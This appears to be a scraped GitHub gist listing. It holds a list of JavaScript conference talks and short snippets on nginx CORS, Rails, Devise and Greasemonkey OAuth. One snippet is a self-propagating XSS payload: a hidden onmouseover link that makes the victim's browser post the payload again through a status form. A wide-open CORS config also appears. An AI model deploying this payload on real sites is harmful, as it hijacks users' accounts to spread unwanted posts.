- Bytes and Blobs by David Flanagan
- Conference Wifi Redux by Malte Ubi
- Sashimi - https://github.com/cramforce/Sashimi
- Run Your JS everywhere with Jellyfish by Adam Christian - http://jelly.io Project
- Fighting Crime and Kicking Apps with Batman.js by Nick Small
- Hello Jo by Dave Balmer - Project - http://joapp.com
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# Wide-open CORS config for nginx | |
# | |
location / { | |
if ($request_method = 'OPTIONS') { | |
add_header 'Access-Control-Allow-Origin' '*'; | |
# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class ApplicationController < ActionController::Base | |
... | |
# FORCE to implement content_for in controller | |
def view_context | |
super.tap do |view| | |
(@_content_for || {}).each do |name,content| | |
view.content_for name, content | |
end | |
end | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
參考xdite's blog http://blog.xdite.net/?p=1839 | |
建立一個名為railsc的執行檔,以monkey patch的方式啟用wirble及hirb | |
將railsc存到你PATH下,並設定可執行(chmod 755) | |
執行railsc取代rails c,即可載入wirble及hirb,不用修改project directory下的東西 | |
P.S. | |
ActiveRecord::Base.logger = Logger.new(STDOUT) | |
這個我還是寫在.irbrc裡(事實上我是用show_log和hide_log開關) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<a href="http://a.no/@" onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()" style="color:#000;background:#000;/" class="tweet-url web" rel="nofollow" target="_blank">http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()" style="color:#000;background:#000;/</a> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name OAuth for Greasemonkey sample | |
// @namespace http://efcl.info/ | |
// @include http://* | |
// @require http://userscripts.org/scripts/source/78102.user.js | |
// ==/UserScript== | |
// http://userscripts.org/scripts/show/78102 | |
/*認証手順 | |
tw.getRequestToken | |
consumerKeyとconsumerSecretを使って、OAuth認証のページURLに必要なRequestTokenを取得。 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Users::SessionsController < Devise::SessionsController | |
# Have to reimplement :recall => "failure" | |
# for warden to redirect to some action that will return what I want | |
def create | |
resource = warden.authenticate!(:scope => resource_name, :recall => "failure") | |
# set_flash_message :notice, :signed_in | |
sign_in_and_redirect(resource_name, resource) | |
end | |
NewerOlder